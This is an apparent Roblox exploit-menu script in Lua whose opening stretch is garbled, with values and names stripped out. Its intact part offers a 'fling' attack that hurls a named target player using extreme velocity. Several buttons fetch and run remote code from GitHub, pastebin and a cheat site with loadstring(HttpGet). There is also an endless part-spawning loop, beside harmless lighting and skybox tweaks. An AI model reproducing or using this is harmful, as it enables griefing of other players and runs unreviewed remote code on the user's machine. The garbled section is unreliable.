tool.RequiresHandle =
tool.Name =
(character)
humanoidRootPart = character:()
humanoidRootPart
bodyVelocity = humanoidRootPart:()
bodyVelocity
bodyVelocity:()
(character)
humanoidRootPart = character:()
humanoidRootPart
bodyVelocity = humanoidRootPart:()
bodyVelocity
bodyVelocity = .()
bodyVelocity.Velocity = .(, , )
bodyVelocity.MaxForce = .(, .huge, )
bodyVelocity.Parent = humanoidRootPart
bodyVelocity.Velocity = .(, , )
tool.Activated:(()
tool.Name ==
tool.RequiresHandle =
tool.Name =
character = .Players.LocalPlayer.Character
character
tool.Name ==
(character)
()
tool.RequiresHandle =
tool.Name =
character = .Players.LocalPlayer.Character
character
(character)
)
tool.Parent = .Players.LocalPlayer.Backpack
)
UICorner_15.CornerRadius = .(, )
UICorner_15.Parent = TextButton_15
TextButton_16.Parent = Frame
TextButton_16.BackgroundColor3 = .(, , )
TextButton_16.BorderColor3 = .(, , )
TextButton_16.BorderSizePixel =
TextButton_16.Position = .(, , , )
TextButton_16.Size = .(, , , )
TextButton_16.Font = .Font.SourceSans
TextButton_16.Text =
TextButton_16.TextColor3 = .(, , )
TextButton_16.TextScaled =
TextButton_16.TextSize =
TextButton_16.TextWrapped =
TextButton_16.MouseButton1Down:(()
(:())();
)
UICorner_16.CornerRadius = .(, )
UICorner_16.Parent = TextButton_16
TextLabel_2.Parent = Frame
TextLabel_2.BackgroundColor3 = .(, , )
TextLabel_2.BorderColor3 = .(, , )
TextLabel_2.BorderSizePixel =
TextLabel_2.Position = .(, , , )
TextLabel_2.Size = .(, , , -)
TextLabel_2.Font = .Font.SourceSans
TextLabel_2.Text =
TextLabel_2.TextColor3 = .(, , )
TextLabel_2.TextSize =
TextLabel_3.Parent = Frame
TextLabel_3.BackgroundColor3 = .(, , )
TextLabel_3.BorderColor3 = .(, , )
TextLabel_3.BorderSizePixel =
TextLabel_3.Size = .(, , , )
TextLabel_3.Font = .Font.SourceSansLight
TextLabel_3.Text =
TextLabel_3.TextColor3 = .(, , )
TextLabel_3.TextSize =
TextLabel_3.TextWrapped =
TextButton_17.Parent = Frame
TextButton_17.BackgroundColor3 = .(, , )
TextButton_17.BorderColor3 = .(, , )
TextButton_17.BorderSizePixel =
TextButton_17.Position = .(, , , )
TextButton_17.Size = .(, , , )
TextButton_17.Font = .Font.SourceSans
TextButton_17.Text =
TextButton_17.TextColor3 = .(, , )
TextButton_17.TextScaled =
TextButton_17.TextSize =
TextButton_17.TextWrapped =
TextButton_17.MouseButton1Down:(()
(:())()
)
UICorner_17.CornerRadius = .(, )
UICorner_17.Parent = TextButton_17
TextButton_18.Parent = Frame
TextButton_18.BackgroundColor3 = .(, , )
TextButton_18.BorderColor3 = .(, , )
TextButton_18.BorderSizePixel =
TextButton_18.Position = .(, , , )
TextButton_18.Size = .(, , , )
TextButton_18.Font = .Font.SourceSans
TextButton_18.Text =
TextButton_18.TextColor3 = .(, , )
TextButton_18.TextScaled =
TextButton_18.TextSize =
TextButton_18.TextWrapped =
TextButton_18.MouseButton1Down:(()
Players = :()
Player = Players.LocalPlayer
ScreenGui = .()
Frame = .()
TextBox = .()
TextButton = .()
ScreenGui.Parent = Player:()
ScreenGui.ResetOnSpawn =
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = .(, , )
Frame.Position = .(, -, , -)
Frame.Size = .(, , , )
Frame.Active =
Frame.Draggable =
TextBox.Parent = Frame
TextBox.BackgroundColor3 = .(, , )
TextBox.Position = .(, , , )
TextBox.Size = .(, , , )
TextBox.Font = .Font.SourceSans
TextBox.PlaceholderText =
TextBox.Text =
TextBox.TextColor3 = .(, , )
TextBox.TextSize =
TextButton.Parent = Frame
TextButton.BackgroundColor3 = .(, , )
TextButton.Position = .(, , , )
TextButton.Size = .(, , , )
TextButton.Font = .Font.SourceSans
TextButton.Text =
TextButton.TextColor3 = .(, , )
TextButton.TextSize =
(Name)
Name = Name:()
_, x , Players:()
x ~= Player
x.Name:():( .. Name) x.DisplayName:():( .. Name)
x
(_Title, _Text, Time)
:():(, {Title = _Title, Text = _Text, Duration = Time})
(TargetPlayer)
Character = Player.Character
Humanoid = Character Character:()
RootPart = Humanoid Humanoid.RootPart
TCharacter = TargetPlayer.Character
THumanoid = TCharacter TCharacter:()
TRootPart = THumanoid THumanoid.RootPart
THead = TCharacter TCharacter:()
Accessory = TCharacter TCharacter:()
Handle = Accessory Accessory:()
Character Humanoid RootPart
RootPart.Velocity.Magnitude <
().OldPos = RootPart.CFrame
THumanoid THumanoid.Sit
(, , )
THead
.CurrentCamera.CameraSubject = THead
Handle
.CurrentCamera.CameraSubject = Handle
.CurrentCamera.CameraSubject = THumanoid
TCharacter:()
(BasePart, Pos, Ang)
RootPart.CFrame = .(BasePart.Position) * Pos * Ang
Character:(.(BasePart.Position) * Pos * Ang)
RootPart.Velocity = .(, * , )
RootPart.RotVelocity = .(, , )
(BasePart)
TimeToWait =
Time = ()
Angle =
RootPart THumanoid
BasePart.Velocity.Magnitude <
Angle = Angle +
(BasePart, .(, , ) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / , .(.(Angle), ,))
.()
(BasePart, .(, -, ) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / , .(.(Angle), , ))
.()
(BasePart, .(, , -) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / , .(.(Angle), , ))
.()
(BasePart, .(-, -, ) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / , .(.(Angle), , ))
.()
(BasePart, .(, , ) + THumanoid.MoveDirection,.(.(Angle), , ))
.()
(BasePart, .(, -, ) + THumanoid.MoveDirection,.(.(Angle), , ))
.()
(BasePart, .(, , THumanoid.WalkSpeed), .(.(), , ))
.()
(BasePart, .(, -, -THumanoid.WalkSpeed), .(, , ))
.()
(BasePart, .(, , THumanoid.WalkSpeed), .(.(), , ))
.()
(BasePart, .(, , TRootPart.Velocity.Magnitude / ), .(.(), , ))
.()
(BasePart, .(, -, -TRootPart.Velocity.Magnitude / ), .(, , ))
.()
(BasePart, .(, , TRootPart.Velocity.Magnitude / ), .(.(), , ))
.()
(BasePart, .(, -, ), .(.(), , ))
.()
(BasePart, .(, -, ), .(, , ))
.()
(BasePart, .(, - ,), .(.(-), , ))
.()
(BasePart, .(, -, ), .(, , ))
.()
BasePart.Velocity.Magnitude > BasePart.Parent ~= TargetPlayer.Character TargetPlayer.Parent ~= Players TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait
end
workspace.FallenPartsDestroyHeight = 0/0
local BV = Instance.new("BodyVelocity")
BV.Name = "EpixVel"
BV.Parent = RootPart
BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
if TRootPart and THead then
if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
SFBasePart(THead)
else
SFBasePart(TRootPart)
end
elseif TRootPart and not THead then
SFBasePart(TRootPart)
elseif not TRootPart and THead then
SFBasePart(THead)
elseif not TRootPart and not THead and Accessory and Handle then
SFBasePart(Handle)
else
return Message("Error Occurred", "Target is missing everything", 5)
end
BV:Destroy()
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
workspace.CurrentCamera.CameraSubject = Humanoid
repeat
RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0)
Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))
Humanoid:ChangeState("GettingUp")
table.foreach(Character:GetChildren(), function(_, x)
if x:IsA("BasePart") then
x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new()
end
end)
task.wait()
until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
workspace.FallenPartsDestroyHeight = getgenv().FPDH
else
return Message("Error Occurred", "Random error", 5)
end
end
TextButton.MouseButton1Click:Connect(function()
local targetName = TextBox.Text
local targetPlayer = GetPlayer(targetName)
if targetPlayer then
SkidFling(targetPlayer)
else
Message("Error Occurred", "Invalid username", 5)
end
end)
end)
UICorner_18.CornerRadius = UDim.new(0, 20)
UICorner_18.Parent = TextButton_18
TextButton_19.Parent = Frame
TextButton_19.BackgroundColor3 = Color3.fromRGB(115, 0, 255)
TextButton_19.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_19.BorderSizePixel = 0
TextButton_19.Position = UDim2.new(0.428061843, 0, 0.533039629, 0)
TextButton_19.Size = UDim2.new(0, 120, 0, 20)
TextButton_19.Font = Enum.Font.SourceSans
TextButton_19.Text = "Night Mode"
TextButton_19.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_19.TextScaled = true
TextButton_19.TextSize = 14.000
TextButton_19.TextWrapped = true
TextButton_19.MouseButton1Down:Connect(function()
-- Night Mode Script for Roblox
-- Get the Lighting service
local lighting = game:GetService("Lighting")
-- Function to activate night mode
local function enableNightMode()
-- Change properties to create a night-like atmosphere
lighting.Ambient = Color3.fromRGB(50, 50, 50) -- Darker ambient light
lighting.Brightness = 2 -- Lower brightness
lighting.OutdoorAmbient = Color3.fromRGB(30, 30, 30) -- Dimmer outdoor light
lighting.ColorShift_Bottom = Color3.fromRGB(0, 0, 50) -- Dark blue tint on the bottom
lighting.ColorShift_Top = Color3.fromRGB(0, 0, 50) -- Dark blue tint on the top
lighting.FogColor = Color3.fromRGB(10, 10, 30) -- Dark fog effect
lighting.FogEnd = 1000 -- Set fog end distance
lighting.FogStart = 500 -- Set fog start distance
lighting.TimeOfDay = "21:00:00" -- Set time to 9:00 PM (or another time)
end
-- Call the function to activate night mode
enableNightMode()
end)
UICorner_19.CornerRadius = UDim.new(0, 20)
UICorner_19.Parent = TextButton_19
TextButton_20.Parent = Frame
TextButton_20.BackgroundColor3 = Color3.fromRGB(195, 195, 195)
TextButton_20.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_20.BorderSizePixel = 0
TextButton_20.Position = UDim2.new(0.197384208, 0, 0.830396533, 0)
TextButton_20.Size = UDim2.new(0, 120, 0, 20)
TextButton_20.Font = Enum.Font.SourceSans
TextButton_20.Text = "Glowing Avatar"
TextButton_20.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_20.TextScaled = true
TextButton_20.TextSize = 14.000
TextButton_20.TextWrapped = true
TextButton_20.MouseButton1Down:Connect(function()
-- Make Avatar Bright Script
-- Get the player's character
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
-- Function to add a bright light to each part of the avatar
local function addBrightLights()
-- Loop through all parts in the character model
for _, part in pairs(character:GetDescendants()) do
if part:IsA("BasePart") then
-- Create a PointLight object
local pointLight = Instance.new("PointLight")
pointLight.Parent = part
pointLight.Brightness = 10 -- High brightness for a glowing effect
pointLight.Range = 15 -- Range of the light
pointLight.Color = Color3.fromRGB(255, 255, 255) -- White light (adjust if you want a different color)
pointLight.Enabled = true -- Ensure the light is enabled
end
end
end
-- Call the function to add lights when the character is loaded
addBrightLights()
-- In case the character respawns, we'll make sure to add the lights again
player.CharacterAdded:Connect(function(character)
addBrightLights()
end)
end)
UICorner_20.CornerRadius = UDim.new(0, 20)
UICorner_20.Parent = TextButton_20
UIGradient_2.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 5, 9)), ColorSequenceKeypoint.new(0.50, Color3.fromRGB(2, 255, 10)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(204, 0, 255))}
UIGradient_2.Parent = TextButton_20
TextButton_21.Parent = Frame
TextButton_21.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_21.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_21.BorderSizePixel = 0
TextButton_21.Position = UDim2.new(0.428061843, 0, 0.830396533, 0)
TextButton_21.Size = UDim2.new(0, 120, 0, 20)
TextButton_21.Font = Enum.Font.SourceSans
TextButton_21.Text = "John Doe"
TextButton_21.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_21.TextScaled = true
TextButton_21.TextSize = 14.000
TextButton_21.TextWrapped = true
TextButton_21.MouseButton1Down:Connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/sinret/rbxscript.com-scripts-reuploads-/main/johndoe", true))()
end)
UICorner_21.CornerRadius = UDim.new(0, 20)
UICorner_21.Parent = TextButton_21
UIGradient_3.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 255, 0)), ColorSequenceKeypoint.new(0.44, Color3.fromRGB(6, 255, 247)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(72, 0, 255))}
UIGradient_3.Parent = TextButton_21
TextButton_22.Parent = Frame
TextButton_22.BackgroundColor3 = Color3.fromRGB(0, 170, 127)
TextButton_22.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_22.BorderSizePixel = 0
TextButton_22.Position = UDim2.new(0.197384059, 0, 0.610132158, 0)
TextButton_22.Size = UDim2.new(0, 120, 0, 20)
TextButton_22.Font = Enum.Font.SourceSans
TextButton_22.Text = "WallWalk"
TextButton_22.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_22.TextScaled = true
TextButton_22.TextSize = 14.000
TextButton_22.TextWrapped = true
TextButton_22.MouseButton1Down:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/zXk4Rq2r"))()
end)
UICorner_22.CornerRadius = UDim.new(0, 20)
UICorner_22.Parent = TextButton_22
TextButton_23.Parent = Frame
TextButton_23.BackgroundColor3 = Color3.fromRGB(0, 85, 127)
TextButton_23.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_23.BorderSizePixel = 0
TextButton_23.Position = UDim2.new(0.428061843, 0, 0.610132158, 0)
TextButton_23.Size = UDim2.new(0, 120, 0, 20)
TextButton_23.Font = Enum.Font.SourceSans
TextButton_23.Text = "BTools"
TextButton_23.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_23.TextScaled = true
TextButton_23.TextSize = 14.000
TextButton_23.TextWrapped = true
TextButton_23.MouseButton1Down:Connect(function()
loadstring(game:HttpGet("https://cdn.wearedevs.net/scripts/BTools.txt"))()
end)
UICorner_23.CornerRadius = UDim.new(0, 20)
UICorner_23.Parent = TextButton_23
TextButton_24.Parent = Frame
TextButton_24.BackgroundColor3 = Color3.fromRGB(255, 1, 153)
TextButton_24.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_24.BorderSizePixel = 0
TextButton_24.Position = UDim2.new(0.69678998, 0, 0.610132158, 0)
TextButton_24.Size = UDim2.new(0, 120, 0, 20)
TextButton_24.Font = Enum.Font.SourceSans
TextButton_24.Text = "Anti-Fling"
TextButton_24.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_24.TextScaled = true
TextButton_24.TextSize = 14.000
TextButton_24.TextWrapped = true
TextButton_24.MouseButton1Down:Connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/GGH52lan/GGH52lan/main/anti-fling.txt"))()
end)
UICorner_24.CornerRadius = UDim.new(0, 20)
UICorner_24.Parent = TextButton_24
TextButton_25.Parent = Frame
TextButton_25.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_25.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_25.BorderSizePixel = 0
TextButton_25.Position = UDim2.new(0.697978616, 0, 0.830396533, 0)
TextButton_25.Size = UDim2.new(0, 120, 0, 20)
TextButton_25.Font = Enum.Font.SourceSans
TextButton_25.Text = "Part Spammer"
TextButton_25.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_25.TextScaled = true
TextButton_25.TextSize = 14.000
TextButton_25.TextWrapped = true
TextButton_25.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local part = Instance.new("Part")
part.BrickColor = BrickColor.new("Bright blue")
part.Size = Vector3.new(5, 5, 5)
while true do
local position = character.PrimaryPart.Position
local randomOffset = Vector3.new(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10))
part:Clone().Parent = workspace
part.Position = position + randomOffset
wait(0.1) -- Adjust the delay between spawns as desired
end
end)
UICorner_25.CornerRadius = UDim.new(0, 20)
UICorner_25.Parent = TextButton_25
UIGradient_4.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(0, 4, 255)), ColorSequenceKeypoint.new(0.44, Color3.fromRGB(0, 255, 17)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(255, 0, 0))}
UIGradient_4.Parent = TextButton_25
TextButton_26.Parent = Frame
TextButton_26.BackgroundColor3 = Color3.fromRGB(170, 0, 0)
TextButton_26.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_26.BorderSizePixel = 0
TextButton_26.Position = UDim2.new(0.697978735, 0, 0.533039629, 0)
TextButton_26.Size = UDim2.new(0, 120, 0, 20)
TextButton_26.Font = Enum.Font.SourceSans
TextButton_26.Text = "Day Mode"
TextButton_26.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_26.TextScaled = true
TextButton_26.TextSize = 14.000
TextButton_26.TextWrapped = true
TextButton_26.MouseButton1Down:Connect(function()
-- Day Mode Script for Roblox
-- Get the Lighting service
local Lighting = game:GetService("Lighting")
-- Set the time of day to 12:00 (noon)
Lighting.TimeOfDay = "12:00:00"
-- Set the ambient light color to a bright, sunny color
Lighting.Ambient = Color3.fromRGB(255, 255, 255) -- Bright white light
-- Set the outdoor lighting to simulate a clear, sunny day
Lighting.OutdoorAmbient = Color3.fromRGB(200, 200, 255) -- Light blueish hue
-- Set the sky to a sunny daytime skybox
Lighting.Sky.SkyboxUp = "rbxassetid://132451695" -- Use a sunny skybox (replace with your own asset ID if needed)
Lighting.Sky.SkyboxRight = "rbxassetid://132451695"
Lighting.Sky.SkyboxLeft = "rbxassetid://132451695"
Lighting.Sky.SkyboxFront = "rbxassetid://132451695"
Lighting.Sky.SkyboxBack = "rbxassetid://132451695"
Lighting.Sky.SkyboxBottom = "rbxassetid://132451695"
-- Remove any fog (clear visibility)
Lighting.FogStart = 100000 -- Set fog start distance to max
Lighting.FogEnd = 1000000 -- Set fog end distance to max
Lighting.FogColor = Color3.fromRGB(255, 255, 255) -- Set fog color to white (none visible)
-- Set global brightness (you can adjust the value to your preference)
Lighting.Brightness = 2 -- Make the environment brighter
-- Set Shadow softness (optional)
Lighting.ShadowSoftness = 0.1 -- Shadows should be sharp and crisp for daylight
-- Make the sun brightness very high
Lighting.GlobalShadows = true -- Enable shadows
end)
UICorner_26.CornerRadius = UDim.new(0, 20)
UICorner_26.Parent = TextButton_26
TextLabel_4.Parent = Frame
TextLabel_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_4.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_4.BorderSizePixel = 0
TextLabel_4.Position = UDim2.new(0.0903686062, 0, 0.667400897, 0)
TextLabel_4.Size = UDim2.new(0, 750, 0, 50)
TextLabel_4.Font = Enum.Font.SourceSansLight
TextLabel_4.Text = "Client Sided Appearances"
TextLabel_4.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_4.TextScaled = true
TextLabel_4.TextSize = 14.000
TextLabel_4.TextWrapped = true
Frame_2.Parent = Frame
Frame_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame_2.BorderSizePixel = 0
Frame_2.Position = UDim2.new(0, 0, 1, 0)
Frame_2.Size = UDim2.new(0, 841, 0, 160)
TextLabel_5.Parent = Frame_2
TextLabel_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_5.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_5.BorderSizePixel = 0
TextLabel_5.Position = UDim2.new(0.0891795456, 0, 0, 0)
TextLabel_5.Size = UDim2.new(0, 1, 0, 160)
TextLabel_5.Font = Enum.Font.SourceSans
TextLabel_5.Text = ""
TextLabel_5.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_5.TextSize = 14.000
TextLabel_6.Parent = Frame_2
TextLabel_6.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_6.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_6.BorderSizePixel = 0
TextLabel_6.Position = UDim2.new(0.0986921042, 0, 0.0500000007, 0)
TextLabel_6.Size = UDim2.new(0, 758, 0, 43)
TextLabel_6.Font = Enum.Font.SourceSans
TextLabel_6.Text = "Skyboxes"
TextLabel_6.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_6.TextScaled = true
TextLabel_6.TextSize = 14.000
TextLabel_6.TextWrapped = true
TextButton_27.Parent = Frame_2
TextButton_27.BackgroundColor3 = Color3.fromRGB(255, 225, 1)
TextButton_27.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_27.BorderSizePixel = 0
TextButton_27.Position = UDim2.new(0.121284187, 0, 0.387499988, 0)
TextButton_27.Size = UDim2.new(0, 120, 0, 20)
TextButton_27.Font = Enum.Font.SourceSans
TextButton_27.Text = "Sunset"
TextButton_27.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_27.TextScaled = true
TextButton_27.TextSize = 14.000
TextButton_27.TextWrapped = true
TextButton_27.MouseButton1Down:Connect(function()
-- Place this script in the Workspace, Lighting, or StarterPlayer
-- Get the services we need
local Lighting = game:GetService("Lighting")
-- Set the skybox texture IDs (You can change the texture IDs for custom sunsets)
local sunsetSkyboxID = "rbxassetid://[INSERT_YOUR_SKYBOX_ASSET_ID]"
-- Function to apply sunset settings
local function applySunsetSkybox()
-- Set Skybox Texture
local sky = Instance.new("Sky")
sky.SkyboxBk = sunsetSkyboxID -- Back side of the sky
sky.SkyboxDn = sunsetSkyboxID -- Down side of the sky
sky.SkyboxFt = sunsetSkyboxID -- Front side of the sky
sky.SkyboxLf = sunsetSkyboxID -- Left side of the sky
sky.SkyboxRt = sunsetSkyboxID -- Right side of the sky
sky.SkyboxUp = sunsetSkyboxID -- Up side of the sky
sky.Parent = Lighting
-- Adjust lighting for a sunset effect
Lighting.Ambient = Color3.fromRGB(255, 150, 100) -- Warm ambient light
Lighting.OutdoorAmbient = Color3.fromRGB(255, 100, 50) -- Sunset lighting outside
Lighting.FogColor = Color3.fromRGB(255, 180, 100) -- Light fog with sunset hues
Lighting.FogStart = 50 -- The distance at which fog starts
Lighting.FogEnd = 200 -- The distance at which fog is fully opaque
Lighting.Brightness = 2 -- Slightly brighter for the sunset atmosphere
Lighting.TimeOfDay = "18:00:00" -- Set time of day to 6 PM (sunset)
Lighting.SunRaysEnabled = true -- Enable sun rays for a sunset effect
Lighting.SunRaysIntensity = 0.8 -- Set the intensity of the sun rays
Lighting.SunRaysSpread = 0.6 -- Control the spread of the sun rays
end
-- Call the function to apply the sunset effect
applySunsetSkybox()
-- Optionally, you can adjust or update it over time for a transition effect
-- For example, a gradual change in the sky during gameplay:
--[[
while true do
-- Gradually change the time of day to simulate a sunset
Lighting.TimeOfDay = (Lighting.TimeOfDay == "18:00:00" and "19:00:00") or "18:00:00"
wait(60) -- Wait for 1 minute before toggling
end
]]--
end)
UICorner_27.CornerRadius = UDim.new(0, 20)
UICorner_27.Parent = TextButton_27
TextButton_28.Parent = Frame_2
TextButton_28.BackgroundColor3 = Color3.fromRGB(255, 179, 0)
TextButton_28.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_28.BorderSizePixel = 0
TextButton_28.Position = UDim2.new(0.34007141, 0, 0.387499988, 0)
TextButton_28.Size = UDim2.new(0, 120, 0, 20)
TextButton_28.Font = Enum.Font.SourceSans
TextButton_28.Text = "White"
TextButton_28.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_28.TextScaled = true
TextButton_28.TextSize = 14.000
TextButton_28.TextWrapped = true
TextButton_28.MouseButton1Down:Connect(function()
-- Place this script in Workspace, Lighting, or StarterPlayer
-- Get the services we need
local Lighting = game:GetService("Lighting")
-- Set the skybox texture IDs (You can replace with a custom winter skybox)
local winterSkyboxID = "rbxassetid://[INSERT_YOUR_WINTER_SKYBOX_ASSET_ID]"
-- Function to apply the winter skybox and lighting
local function applyWinterSkybox()
-- Set Skybox Texture (Cloudy and snowy sky)
local sky = Instance.new("Sky")
sky.SkyboxBk = winterSkyboxID -- Back side of the sky
sky.SkyboxDn = winterSkyboxID -- Down side of the sky
sky.SkyboxFt = winterSkyboxID -- Front side of the sky
sky.SkyboxLf = winterSkyboxID -- Left side of the sky
sky.SkyboxRt = winterSkyboxID -- Right side of the sky
sky.SkyboxUp = winterSkyboxID -- Up side of the sky
sky.Parent = Lighting
-- Adjust lighting for a winter effect
Lighting.Ambient = Color3.fromRGB(200, 200, 255) -- Light, cold winter feel
Lighting.OutdoorAmbient = Color3.fromRGB(180, 180, 255) -- Cool outdoor ambient
Lighting.FogColor = Color3.fromRGB(240, 240, 255) -- Light, frosty fog
Lighting.FogStart = 0 -- Fog starts at the player's position
Lighting.FogEnd = 150 -- Fog is dense at closer distances
Lighting.Brightness = 1 -- Dimmer light for a cold, winter feel
Lighting.TimeOfDay = "14:00:00" -- Afternoon light for a winter day
Lighting.SunRaysEnabled = false -- Disable sun rays to keep it overcast
Lighting.ShadowSoftness = 0.8 -- Soft shadows for a cloudy sky
end
-- Call the function to apply the winter effect
applyWinterSkybox()
-- Optional: Transitioning between seasons (commented-out loop)
--[[
while true do
-- Gradually change the time of day to simulate a winter sunset or day cycle
Lighting.TimeOfDay = (Lighting.TimeOfDay == "14:00:00" and "16:00:00") or "14:00:00"
wait(60) -- Wait 1 minute before toggling times
end
]]--
end)
UICorner_28.CornerRadius = UDim.new(0, 20)
UICorner_28.Parent = TextButton_28
TextButton_29.Parent = Frame_2
TextButton_29.BackgroundColor3 = Color3.fromRGB(200, 0, 255)
TextButton_29.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_29.BorderSizePixel = 0
TextButton_29.Position = UDim2.new(0.570749164, 0, 0.387499988, 0)
TextButton_29.Size = UDim2.new(0, 120, 0, 20)
TextButton_29.Font = Enum.Font.SourceSans
TextButton_29.Text = "Purple"
TextButton_29.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_29.TextScaled = true
TextButton_29.TextSize = 14.000
TextButton_29.TextWrapped = true
TextButton_29.MouseButton1Down:Connect(function()
-- Place this script in Workspace, Lighting, or StarterPlayer
-- Get the services we need
local Lighting = game:GetService("Lighting")
-- Set the skybox texture IDs (Use a purple-themed skybox)
local purpleSkyboxID = "rbxassetid://[INSERT_YOUR_PURPLE_SKYBOX_ASSET_ID]"
-- Function to apply the purple skybox and lighting
local function applyPurpleSkybox()
-- Set Skybox Texture (purple-themed sky)
local sky = Instance.new("Sky")
sky.SkyboxBk = purpleSkyboxID -- Back side of the sky
sky.SkyboxDn = purpleSkyboxID -- Down side of the sky
sky.SkyboxFt = purpleSkyboxID -- Front side of the sky
sky.SkyboxLf = purpleSkyboxID -- Left side of the sky
sky.SkyboxRt = purpleSkyboxID -- Right side of the sky
sky.SkyboxUp = purpleSkyboxID -- Up side of the sky
sky.Parent = Lighting
-- Adjust lighting to match the purple skybox
Lighting.Ambient = Color3.fromRGB(150, 100, 255) -- Soft purple ambient light
Lighting.OutdoorAmbient = Color3.fromRGB(120, 80, 200) -- Outdoor purple ambient light
Lighting.FogColor = Color3.fromRGB(180, 130, 255) -- Soft purple fog
Lighting.FogStart = 0 -- Fog starts right at the player
Lighting.FogEnd = 200 -- Fog goes out a bit farther, creating a dreamy atmosphere
Lighting.Brightness = 1.5 -- Set moderate brightness for a mystical feel
Lighting.TimeOfDay = "18:00:00" -- Dusk time of day for a soft purple glow
Lighting.SunRaysEnabled = true -- Enable sun rays for dramatic lighting effects
Lighting.SunRaysIntensity = 0.7 -- Moderate intensity for a dream-like effect
Lighting.SunRaysSpread = 0.5 -- Spread the rays out for more diffusion
end
-- Call the function to apply the purple skybox and lighting
applyPurpleSkybox()
-- Optional: Transitioning between different times of day with purple sky (commented-out loop)
--[[
while true do
-- Gradually change the time of day to simulate different moods with the purple sky
Lighting.TimeOfDay = (Lighting.TimeOfDay == "18:00:00" and "20:00:00") or "18:00:00"
wait(60) -- Wait 1 minute before toggling times
end
]]--
end)
UICorner_29.CornerRadius = UDim.new(0, 20)
UICorner_29.Parent = TextButton_29
TextButton_30.Parent = Frame_2
TextButton_30.BackgroundColor3 = Color3.fromRGB(0, 17, 255)
TextButton_30.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_30.BorderSizePixel = 0
TextButton_30.Position = UDim2.new(0.780023873, 0, 0.387499988, 0)
TextButton_30.Size = UDim2.new(0, 120, 0, 20)
TextButton_30.Font = Enum.Font.SourceSans
TextButton_30.Text = "Sunless Blue Skybox"
TextButton_30.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_30.TextScaled = true
TextButton_30.TextSize = 14.000
TextButton_30.TextWrapped = true
TextButton_30.MouseButton1Down:Connect(function()
-- Place this script in Workspace, Lighting, or StarterPlayer
-- Get the services we need
local Lighting = game:GetService("Lighting")
-- Set the skybox texture IDs (Use a blue skybox without the sun)
local blueSkyboxID = "rbxassetid://[INSERT_YOUR_BLUE_SKYBOX_ASSET_ID]"
-- Function to apply the sunless blue skybox and lighting
local function applySunlessBlueSkybox()
-- Set Skybox Texture (a clear, sunless blue sky)
local sky = Instance.new("Sky")
sky.SkyboxBk = blueSkyboxID -- Back side of the sky
sky.SkyboxDn = blueSkyboxID -- Down side of the sky
sky.SkyboxFt = blueSkyboxID -- Front side of the sky
sky.SkyboxLf = blueSkyboxID -- Left side of the sky
sky.SkyboxRt = blueSkyboxID -- Right side of the sky
sky.SkyboxUp = blueSkyboxID -- Up side of the sky
sky.Parent = Lighting
